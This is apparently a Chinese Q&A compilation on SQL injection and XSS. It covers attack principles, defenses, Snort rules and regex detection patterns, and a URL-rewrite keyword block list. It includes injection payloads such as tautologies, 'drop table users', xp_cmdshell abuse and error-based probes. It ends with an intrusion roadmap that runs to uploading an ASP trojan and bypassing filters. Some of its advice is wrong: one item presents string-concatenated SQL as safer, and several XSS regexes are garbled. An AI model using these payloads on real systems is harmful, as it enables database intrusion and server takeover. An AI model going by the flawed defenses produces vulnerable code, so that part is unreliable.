當前位置:首頁 » 編程語言 » sql注入測試實驗總結
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

sql注入測試實驗總結

發布時間: 2022-08-23 07:42:46

sql注入求教學

sql注入,簡單的說,是網站在執行sql語句的時候,使用的是拼接sql的方法執行sql語句的,所有的變數值都是從前台傳過來,在執行時直接拼接的,舉例,用戶輸入賬號密碼,後台查詢user表,比對賬號和密碼是否正確。java中,定義要執行的sql如下:
String loginName=request.getParameter("name");
String passwd=request.getParameter("passwd");
String sql =" select id,name from user where login_name='"+loginName+"' and password='"+passwd+"';
然後調用執行sql的方法,這個時候,我們就可以從前台進行注入了,將loginName的值注入成
1' or '1'='1
這時我們在看sql語句,變成
select id,name from user where login_nane='1' or '1'='1' xxxxxxxx
這樣的sql將返回user表所有數據,達到注入的目的。
總結,sql注入,主要利用代碼中使用拼接sql語句的方式執行sql的漏洞,完全屬於人為造成的後果,使用綁定變數的方式完全可以避免。

Ⅱ 如何防範SQL注入漏洞及檢測

SQL注入漏洞攻擊的防範方法有很多種,現階段總結起來有以下方法:
(1)數據有效性校驗。如果一個輸入框只可能包括數字,那麼要通過校驗確保用戶輸入的都是數字。如果可以接受字母,那就要檢查是不是存在不可接受的字元,最好的方法是增加字元復雜度自動驗證功能。確保應用程序要檢查以下字元:分號、等號、破折號、括弧以及SQL關鍵字。另外限製表單數據輸入和查詢字元串輸入的長度也是一個好方法。如果用戶的登錄名最多隻有10個字元,那麼不要認可表單中輸入10個以上的字元,這將大大增加攻擊者在SQL命令中插入有害代碼的難度。
(2)封裝數據信息。對客戶端提交的數據進行封裝,不要將數據直接存入cookie中,方法就是在編程的代碼中,插入session、if、try、else,這樣可以有效地防止攻擊者獲取cookie中的重要信息。
(3)去除代碼中的敏感信息。將在代碼中存在的用戶名、口令信息等敏感欄位刪除,替換成輸入框。
SQL=" select from users where username = 』admin』and password= 』1234567』 "
如:這樣顯然會暴露管理員的用戶名、口令信息。可以將其修改成:
SQL= " select * from users where username='" +Txtuser.Text + "' and userpwd='" + Textpwd.Text + "'"
這樣就安全了很多,入侵者也是不會輕易的就獲取到用戶名、口令信息。
(4)替換或刪除單引號。使用雙引號替換掉所有用戶輸入的單引號,這個簡單的預防措施將在很大程度上預防SQL注入漏洞攻擊,單引號時常會無法約束插入數據的Value,可能給予輸入者不必要的許可權。用雙引號替換掉單引號可以使大部分SQL注入漏洞攻擊失敗。 如:
「select* from users where username='" + admin + "' and userpwd='" + 1234567+ "'」
顯然會得到與
「select * from users where username='admin' and password= '1234567'」
相同的結果。
(5)指定錯誤返回頁面。攻擊者有時從客戶端嘗試提交有害代碼和攻擊字元串,根據Web Service給出的錯誤提示信息來收集程序及伺服器的信息,從而獲取想得到的資料。應在Web Service中指定一個不包含任何信息的錯誤提示頁面。
(6)限制SQL字元串連接的配置文件。使用SQL變數,因為變數不是可以執行的腳本,即在Web頁面中將連接資料庫的SQL字元串替換成指定的Value,然後將Web.config文件進行加密,拒絕訪問
(7)設置Web目錄的訪問許可權。將虛擬站點的文件目錄禁止遊客用戶(如:Guest用戶等)訪問,將User用戶許可權修改成只讀許可權,切勿將管理許可權的用戶添加到訪問列表。
(8)最小服務原則。Web伺服器應以最小許可權進行配置,只提供Web服務,這樣可以有效地阻止系統的危險命令,如ftp、cmd、vbscript等。
(9)鑒別信息加密存儲。將保存在資料庫users表中的用戶名、口令信息以密文形式保存,也可以對users表進行加密處理,這樣可以大大增加對鑒別信息訪問的安全級別。
(10)用戶許可權分離。應盡可能的禁止或刪除資料庫中sa許可權用戶的訪問,對不同的資料庫劃分不同的用戶許可權,這樣不同的用戶只能對授權給自己的資料庫執行查詢、插入、更新、刪除操作,就可以防止不同用戶對非授權的資料庫進行訪問。

Ⅲ SQL注入攻擊原理和漏洞檢測技術

SQL注入就是有文本輸入的時候,用戶在文本中輸入 '用戶自己輸入的SQL語句' 來運行他輸入的這些命令,以卻來對資料庫進行操作。防止這個漏洞就是把帶有輸入的SQL語句,比如像SELECT這樣的語句寫在存儲過程裡面,或是參數化,這是程序員最常用的,寫存儲過程性能是很高,但弊病很大。多了不好控制項,後期也不能維護。

Ⅳ 如何檢測SQL注入技術以及跨站腳本攻擊

在最近兩年中,安全專家應該對網路應用層的攻擊更加重視。因為無論你有多強壯的防火牆規則設置或者非常勤於補漏的修補機制,如果你的網路應用程序開發者沒
有遵循
安全代碼進行開發,攻擊者將通過80埠進入你的系統。廣泛被使用的兩個主要攻擊技術是SQL注入[ref1]和CSS[ref2]攻擊。SQL注入是
指:通過互聯網的輸入區域,插入SQL meta-characters(特殊字元
代表一些數據)和指令,操縱執行後端的SQL查詢的技術。這些攻擊主要針對其他組織的WEB伺服器。CSS攻擊通過在URL里插入script標簽,然後

誘導信任它們的用戶點擊它們,確保惡意Javascript代碼在受害人的機器上運行。這些攻擊利用了用戶和伺服器之間的信任關系,事實上伺服器沒有對輸
入、輸出進行檢測,從而未拒絕javascript代碼。
這篇文章討論SQL注入和CSS攻擊漏洞的檢測技術。網上已經有很多關於這兩種基於
WEB攻擊的討論,比如如何實施攻擊,他們的影響,怎樣更好的編制和設計程序防止這些攻擊。 然而,
對如何檢測這些攻擊並沒有足夠的討論。我們採用流行的開源的IDS Snort[ref
3],組建根據檢測這些攻擊的規則的正則表達式。附帶,Snort默認規則設定包含檢測CSS的方法,但是這些容易被避開檢測。比如大多通過hex進制編
碼,如%3C%73%63%72%69%70% 74%3E代替避開檢測。
依賴level of
paranoia組織的能力,我們已經編寫了多種檢測相同攻擊的規則。如果你希望檢測各種可能的SQL注入攻擊,那麼你需要簡單的留意任何現行的SQL
meta-characters,如單引號,分號和雙重破折號。同樣的一個極端檢測CSS攻擊的方法,只要簡單地提防HTML標記的角括弧。但這樣會檢測
出很多錯誤。為了避免這些,這些規則需要修改使它檢測更精確些, 當仍然不能避免錯誤。
在Snort規則中使用pcre(Perl
Compatible Regular
Expressions)[ref4]關鍵字,每個規則可以帶或不帶其他規則動作。這些規則也可以被公用軟體如grep(文檔搜索工具)使用,來審閱網路
伺服器日誌。 但是,需要警惕的是,用戶的輸入只有當以GET提交請求時,WEB伺服器才會記錄日記,如果是以POST提交的請求在日記中是不會記錄的。
2. SQL注入的正則表示式

你為SQL注入攻擊選擇正則表示式的時候,重點要記住攻擊者可以通過提交表單進行SQL注入,也可以通過Cookie區域。你的輸入檢測邏輯應該考慮用戶

組織的各類型輸入(比如表單或Cookie信息)。並且如果你發現許多警告來自一個規則,請留意單引號或者是分號,也許些字元是你的Web應用程序創造的
合法的在CookieS中的輸入。因此, 您需要根據你的特殊的WEB應用程序評估每個規則。
依照前面提到,一個瑣細的檢測SQL射入攻擊的正則表達式要留意SQL特殊的meta-characters 譬如單引號(』)雙重擴則號(--),為了查出這些字元和他們hex等值數, 以下正則表達式適用:
2.1 檢測SQL meta-characters的正則表達式
/(\%27)|(\』)|(\-\-)|(\%23)|(#)/ix
解釋:

們首先檢查單引號等值的hex,單引號本身或者雙重擴折號。這些是MS SQL Server或Oracle的字元, 表示後邊的為評論,
隨後的都將被忽略。 另外,如果你使用MySQL,你需要留意 』#』和它等值的hex的出現。注意我們不需要檢查雙重破折號等值的hex,
因為這不是HTML meta-character, 瀏覽器不會進行編碼。 並且,
如果攻擊者設法手工修改雙重破折號為它的hex值%2D(使用代理像Achilles[ref 5]), SQL注入將失敗。
加入上述正則表達式的新的Snort規則如下:
alert
tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL
Injection - Paranoid";
flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\』)|(\-\-)|(%23)|(#)/i";
classtype:Web-application-attack; sid:9099; rev:5;)
在本篇討論中,
uricontent關鍵字的值為".pl ", 因為在我們的測試環境里, CGI
程序是用Perl寫的。uricontent關鍵字的值取決於您的特殊應用, 這個值也許是".php ", 或" .asp ", 或" .jsp
", 等。 從這點考慮, 我們不顯示對應的Snort 規則, 但是我們會給出創造這些規則的正則表達式。
通過這些正則表達式你可以很簡單的創造很多的Snort規則.在前面的正則表達式里,
我們檢測雙重破折號是因為:即便沒有單引號的存在那裡也可能是SQL射入點[ref 6]。 例如, SQL查詢條目只包含數值,如下:
select value1, value2, num_value3 from database
where num_value3=some_user_supplied_number
這種情況,攻擊者可以執行額外的SQL查詢, 示範提交如下輸入:
3; insert values into some_other_table
最後, pcre的修飾符』 i』 和』 x 』 是用於分別匹配大小寫和忽略空白處的。 上面的規則也可以另外擴展來檢查分號的存在。然而,分號很可以是正常HTTP應答的一部分。為了減少這種錯誤,也是為了任何正常的單引號和雙重擴折號的出
現,上面的規則應該被修改成先檢測=號的存。用戶輸入會響應一個GET或POST請求,一般輸入提交如下:
username=some_user_supplied_value&password=some_user_supplied_value
因此, SQL 注入嘗試將導致用戶的輸入出現在a = 號或它等效的hex值之後。
2.2 修正檢測SQL meta-characters的正則表達式
/((\%3D)|(=))[^\n]*((\%27)|(\』)|(\-\-)|(\%3B)|(:))/i
解釋:
這個規則首先留意 = 號或它的hex值(%3D),然後考慮零個或多個除換行符以外的任意字元,最後檢測單引號,雙重破折號或分號。

型的SQL注入會嘗試圍繞單引號的用途操作原來的查詢,以便得到有用的價值。討論這個攻擊一般使用1』or』1』=』1字元串. 但是,
這個串的偵查很容易被逃避,譬如用1』or2>1 --.
然而唯一恆定的部分是最初的字元的值,跟隨一單引號,再加』or』。隨後的布爾邏輯可能在一定范圍上變化,可以是普通樣式也可能是非常復雜的。這些攻擊可
以相當精確被偵測,通過以下的正則表達式。2.3章節講解。
2.3 典型的 SQL 注入攻擊的正則表達式
/\w*((\%27)|(\』))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
解釋:
\w* - 零個或多個字元或者下劃線。
(\%27)|\』 - 單引號或它的hex等值。
(\%6 F)|o|(\%4 F))((\%72)|r|-(\%52) -『or』的大小寫以及它的hex等值。
』union』SQL
查詢在SQL注入各種資料庫中攻擊中同樣是很常見的。如果前面的正則表達式僅僅檢測單引號或則其他的SQL meta characters
,會造成很多的錯誤存在。你應該進一步修改查詢,檢測單引號和關鍵字『union』。這同樣可以進一步擴展其他的SQL關鍵字,像』select』,
』insert』, 』update』, 』delete』, 等等。
2.4 檢測SQL注入,UNION查詢關鍵字的正則表達式
/((\%27)|(\』))union/ix
(\%27)|(\』) - 單引號和它的hex等值
union - union關鍵字
可以同樣為其他SQL查詢定製表達式,如 >select, insert, update, delete, drop, 等等.

果,到這個階段,攻擊者已經發現web應用程序存在SQL注入漏洞,他將嘗試利用它。如果他認識到後端伺服器式MS SQL
server,他一般會嘗試運行一些危險的儲存和擴展儲存過程。這些過程一般以『sp』或『xp』字母開頭。典型的,他可能嘗試運行
『xp_cmdshell』擴展儲存過程(通過SQL Server執行Windows
命令)。SQL伺服器的SA許可權有執行這些命令的許可權。同樣他們可以通過xp_regread, xp_regwrite等儲存過程修改注冊表。
2.5 檢測MS SQL Server SQL注入攻擊的正則表達式
/exec(\s|\+)+(s|x)p\w+/ix
解釋:
exec - 請求執行儲存或擴展儲存過程的關鍵字
(\s|\+)+ - 一個或多個的空白或它們的http等值編碼
(s|x) p- 『sp』或『xp』字母用來辨認儲存或擴展儲存過程
\w+ - 一個或多個字元或下劃線來匹配過程的名稱
3. 跨站腳本(CSS)的正則表達式

發動CSS攻擊或檢測一個網站漏洞的時候, 攻擊者可能首先使簡單的HTML標簽如(粗體),(斜體)或(下劃線),或者他可能嘗試簡單的
script標簽如alert("OK").
因為大多數出版物和網路傳播的檢測網站是否有css漏洞都拿這個作為例子。這些嘗試都可以很簡單的被檢測出來。
然而,高明點的攻擊者可能用它的hex值替換整個字元串。這樣標簽會以%3C%73%63%72%69%70%74%3E出 現。
另一方面,攻擊者可能使用web代理伺服器像Achilles會自動轉換一些特殊字元如換成%3E.這樣攻擊發生時,URL
中通常以hex等值代替角括弧。
下列正則表達式將檢測任何文本中包含的html的。它將捉住試圖使用、、或。這正則表達式應該忽略大小寫。我們需要同時檢測角括弧和它的hex等值(% 3C|
3.1 一般 CSS 攻擊的正則表達式
/((\%3C)|)/ix
解釋:
((\%3C)|) -檢查>或它的hex等值
Snort 規則:
alert
tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"NII
Cross-site scripting attempt"; flow:to_server,established;
pcre:"/((\%3C)|)/i"; classtype:Web-application-attack; sid:9000; rev:5;)
跨站腳本同樣可以使用技術。現行默認的snort規則可以被輕易避開。
3.2章節提供了防止這種技術的方法。
3.2 "
/((\%3C)|)/I
解釋:
(\%3 C)|) ->或它的hex等值
3.3 CSS 攻擊的極端的正則表達式
/((\%3C)|)/I
解釋:
這個規則簡單尋找。由於你的web伺服器和web應用程序的構架,這個規則可能產生一些錯誤。但它能保證捉住任何CCS或者類似CSS的攻擊。
一個不錯避開過濾的CSS方法請參考Bugtraq投稿的
http://www.securityfocus.com/archive/1/272...rchive/1/272037.
但是請注意最後一種極端的規則將能檢測這所有的攻擊。
總結:


這篇文章中,我們提出了不同種類的正則表達式規則來檢測SQL注入和跨站腳本攻擊。有些規則簡單而極端,一個潛在的攻擊都將提高警惕。但這些極端的規則可

能導致一些主動的錯誤。考慮到這點,我們修改了這些簡單的規則,利用了另外的樣式,他們可以檢查的更准確些。在這些網路應用成的攻擊檢測中,我們推薦將這
些作為調試你IDS或日誌分析方法的起點。再經過幾次修改後,在你對正常網交易部分的非惡意應答進行評估以後,你應該可以准備的檢測那些攻擊了。

Ⅳ 安全測試中SQL注入是什麼測試過程中如何發現SQL注入

所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意)的SQL命令注入到後台資料庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是按照設計者意圖去執行SQL語句。 比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字元暴出的,這類表單特別容易受到SQL注入式攻擊.

一般來說要阻止sql注入,需要前後端配合表單的內容進行驗證。我是前端的,只要對表單的輸入綁定change事件,對其中的內容進行正則驗證,阻止用戶輸入特殊字元(比如\轉義字元)。

Ⅵ 如何防範SQL注入測試篇

1.過濾SQL需要的參數中的敏感字元(注意加入忽略大小寫)
2.禁用資料庫伺服器的xp_cmdshell存儲過程,刪除相應用到的dll
3.屏蔽伺服器異常信息

Ⅶ 測試登陸頁面時,如何測試SQL注入漏洞呢

許多網站程序在編寫時,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼(一般是在瀏覽器地址欄進行,通過正常的www埠訪問),根據程序返回的結果,獲得某些想得知的數據,這就是所謂的SQL Injection,即SQL注入。

網站的惡夢——SQL注入

SQL注入通過網頁對網站資料庫進行修改。它能夠直接在資料庫中添加具有管理員許可權的用戶,從而最終獲得系統管理員許可權。黑客可以利用獲得的管理員許可權任意獲得網站上的文件或者在網頁上加掛木馬和各種惡意程序,對網站和訪問該網站的網友都帶來巨大危害。

防禦SQL注入有妙法

第一步:很多新手從網上下載SQL通用防注入系統的程序,在需要防範注入的頁面頭部用來防止別人進行手動注入測試。

可是如果通過SQL注入分析器就可輕松跳過防注入系統並自動分析其注入點。然後只需要幾分鍾,你的管理員賬號及密碼就會被分析出來。

第二步:對於注入分析器的防範,通過實驗,發現了一種簡單有效的防範方法。首先我們要知道SQL注入分析器是如何工作的。在操作過程中,發現軟體並不是沖著「admin」管理員賬號去的,而是沖著許可權(如flag=1)去的。這樣一來,無論你的管理員賬號怎麼變都無法逃過檢測。

第三步:既然無法逃過檢測,那我們就做兩個賬號,一個是普通的管理員賬號,一個是防止注入的賬號,如果找一個許可權最大的賬號製造假象,吸引軟體的檢測,而這個賬號里的內容是大於千字以上的中文字元,就會迫使軟體對這個賬號進行分析的時候進入全負荷狀態甚至資源耗盡而死機。下面我們就來修改資料庫吧。

1.對表結構進行修改。將管理員的賬號欄位的數據類型進行修改,文本型改成最大欄位255(其實也夠了,如果還想做得再大點,可以選擇備注型),密碼的欄位也進行相同設置。

2.對表進行修改。設置管理員許可權的賬號放在ID1,並輸入大量中文字元(最好大於100個字)。

3.把真正的管理員密碼放在ID2後的任何一個位置(如放在ID549上)。

我們通過上面的三步完成了對資料庫的修改。

另外要明白您做的ID1賬號其實也是真正有許可權的賬號,現在計算機處理速度那麼快,要是遇上個一定要將它算出來的軟體,這也是不安全的。只要在管理員登錄的頁面文件中寫入字元限制就行了,就算對方使用這個有上千字元的賬號密碼也會被擋住的,而真正的密碼則可以不受限制。

Ⅷ 試解釋 SQL 注入攻擊的原理,以及對資料庫可能產生的不利影響。

SQL注入就是攻擊者通過正常的WEB頁面,把自己SQL代碼傳入到應用程序中,從而通過執行非程序員預期的SQL代碼,達到竊取數據或破壞的目的。

當應用程序使用輸入內容來構造動態SQL語句以訪問資料庫時,會發生SQL注入攻擊。如果代碼使用存儲過程,而這些存儲過程作為包含未篩選的用戶輸入的字元串來傳遞,也會發生SQL注入。SQL注入可能導致攻擊者使用應用程序登陸在資料庫中執行命令。如果應用程序使用特權過高的帳戶連接到資料庫,這種問題會變得很嚴重。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或者作為存儲過程的輸入參數,這些表單特別容易受到SQL注入的攻擊。而許多網站程序在編寫時,沒有對用戶輸入的合法性進行判斷或者程序中本身的變數處理不當,使應用程序存在安全隱患。這樣,用戶就可以提交一段資料庫查詢的代碼,根據程序返回的結果,獲得一些敏感的信息或者控制整個伺服器,於是SQL注入就發生了。

一般SQL注入

在Web 應用程序的登錄驗證程序中,一般有用戶名(username) 和密碼(password) 兩個參數,程序會通過用戶所提交輸入的用戶名和密碼來執行授權操作。我們有很多人喜歡將SQL語句拼接起來。例如:

Select * from users where username =』 txtusername.Text 』 and password =』 txtpassword.Text 』

其原理是通過查找users 表中的用戶名(username) 和密碼(password) 的結果來進行授權訪問, 在txtusername.Text為mysql,txtpassword.Text為mary,那麼SQL查詢語句就為:

Select * from users where username =』 mysql 』 and password =』 mary 』

如果分別給txtusername.Text 和txtpassword.Text賦值』 or 『1』 = 『1』 --和abc。那麼,SQL 腳本解釋器中的上述語句就會變為:

Select * from users where username =』』or 『1』 = 『1』 -- and password =』abc』

該語句中進行了兩個條件判斷,只要一個條件成立,就會執行成功。而'1'='1'在邏輯判斷上是恆成立的,後面的"--" 表示注釋,即後面所有的語句為注釋語句這樣我們就成功登錄。即SQL注入成功.

如果我們給txtusername.Text賦值為:』;drop table users--即:

Select * from users where username =』』;drop table users-- and password =』abc』

整個用戶表就沒有了,當然這里要猜出數據表名稱。想想是多麼可怕的事情。

好我想大家在這里已經大致明白了一般SQL注入了,試想下您的登錄程序會不會出現我上述的情況。

防範SQL注入

那麼現在大家都在思考怎麼防範SQL注入了這里給出一點個人的建議

1.限制錯誤信息的輸出

這個方法不能阻止SQL注入,但是會加大SQL注入的難度,不會讓注入者輕易得到一些信息,讓他們任意破壞資料庫。SQL Server有一些系統變數,如果我們沒有限制錯誤信息的輸出,那麼注入著可以直接從出錯信息獲取,例如(假定這里用的string即字元類型並可以發生SQL注入):http://www.xxx.com/showdetail.aspx?id=49 and user>0 這句語句很簡單,但卻包含了SQL Server特有注入方法的精髓,。首先看看它的含義:首先,前面的語句是正常的,重點在and user>0,我們知道,user是SQL Server的一個內置變數,它的值是當前連接的用戶名,類型為nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQL Server的出錯提示是:將nvarchar值 」abc」 轉換數據類型為 int 的列時發生語法錯誤,呵呵,abc正是變數user的值,這樣,注入著就拿到了資料庫的用戶名。

眾所周知,SQL Server的用戶sa是個等同Adminstrators許可權的角色,拿到了sa許可權,幾乎肯定可以拿到主機的Administrator了。上面的方法可以很方便的測試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將」dbo」轉換成int的列發生錯誤,而不是」sa」。

當然注入者還可以輸入不同的信息來得到他們想要的信息 ,上面只是其中一個例子,所以我們要限制錯誤信息的輸出,從而保護我們的資料庫數據,這里我給出.NET限制錯誤信息的方法:

在Web.Config文件中設置

<customErrors mode="On" defaultRedirect="error.aspx">

</customErrors>

這樣當發生錯誤時候就不會講信息泄露給外人。

2.限制訪問資料庫帳號的許可權

對於資料庫的任何操作都是以某種特定身份和相應許可權來完成的,SQL語句執行前,在資料庫伺服器端都有一個用戶許可權驗證的過程,只有具備相應許可權的帳號才可能執行相應許可權內的SQL語句。因此,限制資料庫帳號許可權,實際上就阻斷了某些SQL語句執行的可能。不過,這種方法並不能根本解決SQL注入問題,因為連接資料庫的帳號幾乎總是比其他單個用戶帳號擁有更多的許可權。通過限制貼帳號許可權,可以防止刪除表的攻擊,但不能阻止攻擊者偷看別人的信息。

3.參數化使用命令

參數化命令是在SQL文本中使用佔位符的命令。佔位符表示需要動態替換的數據,它們通過Command對象Parameters集合來傳送。能導致攻擊的SQL代碼可以寫成:

Select * from employee where userID=@userID;

如果用戶輸入: 09105022』OR 『1』=』1,將得不到何記錄,因為沒有一個用戶ID與文本框中輸入的』 09105022』OR 『1』=』1』相等。參數化命令的語法隨提供程序的不同略有差異。對於SQL SERVER提供程序,參數化命令使用命名的佔位符(具有唯一的名字),而對於OLE DB提供程序,每個硬編碼的值被問號代替。使用OLE DB提供程序時,需要保證參數的順序和它們出現在SQL字元串中的位置一致。SQL SERVER提供程序沒有這樣的需求,因為它們用名字和佔位符匹配。

4.調用存儲過程

存儲過程是存儲在資料庫伺服器上的一系列SQL代碼,存儲過程與函數相似,有良好的邏輯封裝結構,可以接收和返回數據。使用存儲過程可以使代碼更易於維護,因為對存儲過程的更改不會導致應用程序的重新編譯,使用存儲過程還可以節省帶寬,提高應用程序性能。因為存儲過程是存儲在資料庫服務端的獨立的封裝體,調用存儲過程可以保證應用程序只執行存儲過程中的固定代碼,從而杜絕SQL語句注入的可能。結合上述所講的參數化命令,可以實現SQL代碼可以實現的任何功能,並進一步提高應用程序的安全等級。

5.限制輸入長度

如果在Web頁面上使用文本框收集用戶輸入的數據,使用文本框的MaxLength屬性來限制用戶輸入過長的字元也是一個很好的方法,因為用戶的輸入不夠長,也就減少了貼入大量腳本的可能性。程序員可以針對需要收集的數據類型作出一個相應的限制策略。

6.URL重寫技術

我們利用URL重寫技術過濾一些SQL注入字元,從而達到防禦SQL注入。因為許多SQL注入是從URL輸入發生的。

7.傳遞參數盡量不是字元

假設我們顯示一篇新聞的頁面,從URL傳遞參數中獲得newid我們可能會隨手寫下下面的代碼:

string newsid = Request.QueryString["newsid"];
string newssql = "select * from news where newsid=" + newsid;

如果傳遞過來的參數是數字字元就沒有問題。但是如果傳遞過來的newsid是「1 delete from table 」的話,那麼sql的值就變成了「select * from table where newsid=1 delete from news」。發生注入成功。但是這里改為

int newsid=int.Parse(Request.QueryString["newsid"].ToString());

string newssql = "select * from news where newsid=" + newsid.Tostring();

這里如果還是上面"1 delete from table "會發生錯誤,因為在轉換時候出現了錯誤

從上面的一個小例子,我們得出在傳遞參數時候盡量不要用字元,免得被注入。

最後是我想擴展下利用URL重寫技術來過濾一些SQL注入字元,首先這里有一篇關於URL重寫的文章,我的基本思想是可以利用它,屏蔽一些危險的SQL注入字元串,這些字元串我們可以人為的設定,畢竟我們還是根據特定的環境設定我們防禦措施。首先我們在MoleRewriter類中的Rewrite函數得到絕對的URL判斷其中是否有危險字元,如果有我們就將它鏈接到一個提示用戶您輸入危險的URL地址。如果不是我們繼續判斷是否觸發了其他的URL重寫的規則,觸發了就重寫。這樣就大致上能在URL上防禦危險字元。

代碼
<configSections>
<section name="RewriterConfig" type="URLRewriter.Config., URLRewriter" />
</configSections>
<RewriterConfig>
<Rules>
<RewriterRule>
<LookFor>~/d(\d+)\.aspx</LookFor>
<SendTo>~/Default_sql_error.aspx</SendTo>
</RewriterRule>
<RewriterRule>
<LookFor>~/d(\d+)\.aspx</LookFor>
<SendTo>~/Default2.aspx</SendTo>
</RewriterRule>
</Rules>
</RewriterConfig>
<httpMoles>
<add type="URLRewriter.MoleRewriter, URLRewriter" name="MoleRewriter" />
</httpMoles>

上面是要在web.config配置文件加上的內容,這里我加上了兩個重寫規則,第一個規則是專門針對滿足這個正則表達式的頁面URL查看是否有危險字元,有危險字元就會發送到Default_sql_error.aspx頁面,來示警。這里我假定會發生危險字元注入的頁面時以"d"字元開頭並加上數字的頁面(這里我們可以根據實際情況自己定義,看哪些頁面URL容易發生我們就制定這些頁面的正則表達式),第二個是一般URL重寫。因為這里我採用的是HTTP模塊執行URL重寫,所以加上<httpMoles></httpMoles>這一塊。

第二步就是要在重寫Rewrite函數了

代碼
protected override void Rewrite(string requestedPath, System.Web.HttpApplication app)
{
// 獲得配置規則
RewriterRuleCollection rules = RewriterConfiguration.GetConfig().Rules;

//獲得絕對的URL
Uri url = app.Request.Url;

// 判斷url 中是否含有SQL 注入攻擊敏感的字元或字元串,如果存在,sqlatFlag = 1 ;
string urlstr = url.AbsoluteUri;
int sqlatFlag = 0;

//這里我們根據實際情況隨便編寫,我這里這是隨便列舉了幾個
string words = "exec ,xp ,sp ,declare ,cmd ,Union ,--";

string[] split = words.Split(',');
foreach (string s in split)
{
if (urlstr.IndexOf(s.ToUpper()) > 0)
{
sqlatFlag = 1;
break;
}
}
if (sqlatFlag == 1)
{
// 創建regex
Regex re = new Regex(rules[0].SendTo, RegexOptions.IgnoreCase);
// 找到匹配的規則,進行必要的替換
string sendToUrl = RewriterUtils.ResolveUrl(app.Context.Request.ApplicationPath, re.ToString());
// 重寫URL
RewriterUtils.RewriteUrl(app.Context, sendToUrl);
}
else
{
// 遍歷除rules[0 ]以外的其他URL 重寫規則
for (int i = 1; i < rules.Count; i++)
{
// 獲得要查找的模式,並且解析URL (轉換為相應的目錄)
string lookFor = "^" + RewriterUtils.ResolveUrl(app.Context.Request.ApplicationPath, rules[i].LookFor) + "$";
// 創建regex
Regex re = new Regex(lookFor, RegexOptions.IgnoreCase);
// 查看是否找到了匹配的規則
if (re.IsMatch(requestedPath))
{
// 找到了匹配的規則, 進行必要的替換
string sendToUrl = RewriterUtils.ResolveUrl(app.Context.Request.ApplicationPath, re.Replace(requestedPath, rules[i].SendTo));
// 重寫URL
RewriterUtils.RewriteUrl(app.Context, sendToUrl);
break;
// 退出For 循環
}
}
}
}

那麼下一步就是檢驗例子了

首先我們輸入http://localhost:4563/web/Default.aspx?id=1;--

這樣http://localhost:4563/web/Default.aspx?id=1;-- 沒有改變,就會顯示Default_sql_error.aspx里內容「您輸入了危險字元」。
再輸入http://localhost:4563/web/D11.aspx就會顯示 Default2.aspx內容,因為這里觸發了第二個重寫規則

Ⅸ 關於SQL注入

<二>SQL注入思路

思路最重要。其實好多人都不知道SQL到底能做什麼呢?這里總結一下SQL注入入侵的總體的思路:

1. SQL注入漏洞的判斷,即尋找注入點

2. 判斷後台資料庫類型

3. 確定XP_CMDSHELL可執行情況;若當前連接數據的帳號具有SA許可權,且master.dbo.xp_cmdshell擴展存儲過程(調用此存儲過程可以直接使用操作系統的shell)能夠正確執行,則整個計算機可以通過幾種方法完全控制,也就完成了整個注入過程,否則繼續:

1. 發現WEB虛擬目錄

2. 上傳ASP木馬;

3. 得到管理員許可權

具體步驟:

一、SQL注入漏洞的判斷

如果以前沒玩過注入,請把IE菜單-工具-Internet選項-高級-顯示友好HTTP錯誤信息前面的勾去掉。

為了把問題說明清楚,以下以http://www.163.com/news.asp?id=xx(這個地址是假想的),為例進行分析,xx可能是整型,也有可能是字元串。

1、整型參數的判斷

當輸入的參數xx為整型時,通常news.asp中SQL語句原貌大致如下:

select * from 表名 where 欄位=xx,所以可以用以下步驟測試SQL注入是否存在。

最簡單的判斷方法

http://www.163.com/news.asp?id=xx』(附加一個單引號),

此時news.asp中的SQL語句變成了

select * from 表名 where 欄位=xx』,

如果程序沒有過濾好「』」的話,就會提示 news.asp運行異常;但這樣的方法雖然很簡單,但並不是最好的,因為:

first,不一定每台伺服器的IIS都返回具體錯誤提示給客戶端,如果程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但伺服器同樣會報錯,具體提示信息為處理 URL 時伺服器上出錯。請和系統管理員聯絡。

second,目前大多數程序員已經將「』「 過濾掉,所以用」 』」測試不到注入點,所以一般使用經典的1=1和1=2測試方法,見下文:

http://www.163.com/news.asp?id=xx and 1=1, news.asp運行正常,

而且與http://www.163.com/news.asp?id=xx運行結果相同;

http://www.163.com/news.asp?id=xx and 1=2, news.asp運行異常;(這就是經典的 1=1 1=2 判斷方法)

如果以上面滿足,news.asp中就會存在SQL注入漏洞,反之則可能不能注入。

2、字元串型參數的判斷

方法與數值型參數判斷方法基本相同

當輸入的參數xx為字元串時,通常news.asp中SQL語句原貌大致如下:

select * from 表名 where 欄位='xx',所以可以用以下步驟測試SQL注入是否存在。

http://www.163.com/news.asp?id=xx』(附加一個單引號),此時news.asp中的SQL語句變成了
select * from 表名 where 欄位=xx』,news.asp運行異常;
http://www.163.com/news.asp?id=xx and '1'='1', news.asp運行正常,

而且與http://www.163.com/news.asp?id=xx運行結果相同;

http://www.163.com/news.asp?id=xx and '1'='2', news.asp運行異常;

如果以上滿足,則news.asp存在SQL注入漏洞,反之則不能注入

3、特殊情況的處理

有時ASP程序員會在程序員過濾掉單引號等字元,以防止SQL注入。此時可以用以下幾種方法試一試。

①大小定混合法:由於VBS並不區分大小寫,而程序員在過濾時通常要麼全部過濾大寫字元串,要麼全部過濾小寫字元串,而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等;

